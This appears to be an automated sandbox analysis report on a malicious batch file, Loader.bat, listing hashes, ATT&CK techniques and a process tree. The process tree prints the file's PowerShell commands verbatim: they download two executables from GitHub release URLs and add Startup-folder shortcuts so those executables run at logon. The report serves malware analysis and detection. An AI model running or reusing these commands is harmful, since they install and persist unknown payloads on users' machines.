5fbc4bddd26765b3c6f1b0ab2af444bf72f6e589ac6d289db2e4b7c8b195874e

General

Target

Loader.bat
Size

1KB
MD5

de5a66871a7e14fe1c7d56db9aa2e8e5
SHA1

c119aea04d27dd918b9aa3b734271707098cd022
SHA256

5fbc4bddd26765b3c6f1b0ab2af444bf72f6e589ac6d289db2e4b7c8b195874e
SHA512

24a452d84c478d733c6d0e23d62dfca3e629720542cae36164522bfe631a05d53bafcb91c3f70ccea669c662a5fcb0b728cc56305486c9358e6c60123044e5a5

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2996	powershell.exe
2620	powershell.exe
1140	powershell.exe
2744	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1140	powershell.exe
2996	powershell.exe
2744	powershell.exe
2620	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2940 wrote to memory of 1140	2940	cmd.exe	31
PID 2940 wrote to memory of 1140	2940	cmd.exe	31
PID 2940 wrote to memory of 1140	2940	cmd.exe	31
PID 2940 wrote to memory of 2996	2940	cmd.exe	32
PID 2940 wrote to memory of 2996	2940	cmd.exe	32
PID 2940 wrote to memory of 2996	2940	cmd.exe	32
PID 2940 wrote to memory of 2744	2940	cmd.exe	33
PID 2940 wrote to memory of 2744	2940	cmd.exe	33
PID 2940 wrote to memory of 2744	2940	cmd.exe	33
PID 2940 wrote to memory of 2620	2940	cmd.exe	34
PID 2940 wrote to memory of 2620	2940	cmd.exe	34
PID 2940 wrote to memory of 2620	2940	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/drf/releases/download/d/loader.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y5MRRDMGEW50ZEHYXGDN.temp

Filesize
7KB

MD5
200618a654c16bae26a3d21c0262efbd

SHA1
f6aa4baaaa8c16a4c09d1cd6dbd5d0244103402d

SHA256
245c1de76d1e41107418b3611761ecd591a844a7fc20e3498e6a616b428ceb43

SHA512
a885196faffe4b4af5d13799b5bfd8083fa1cff578dbd32d5fad511183a73ad2a8855501fbab27586d7a31d0ec25b8c633ee204281e74d796015cb24413eaa53

Download Submit
memory/1140-4-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/1140-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/1140-8-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/1140-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/1140-5-0x000000001B4B0000-0x000000001B792000-memory.dmp

Filesize
2.9MB

Download
memory/1140-10-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/1140-9-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/1140-11-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/1140-12-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-18-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2996-19-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download

Analysis

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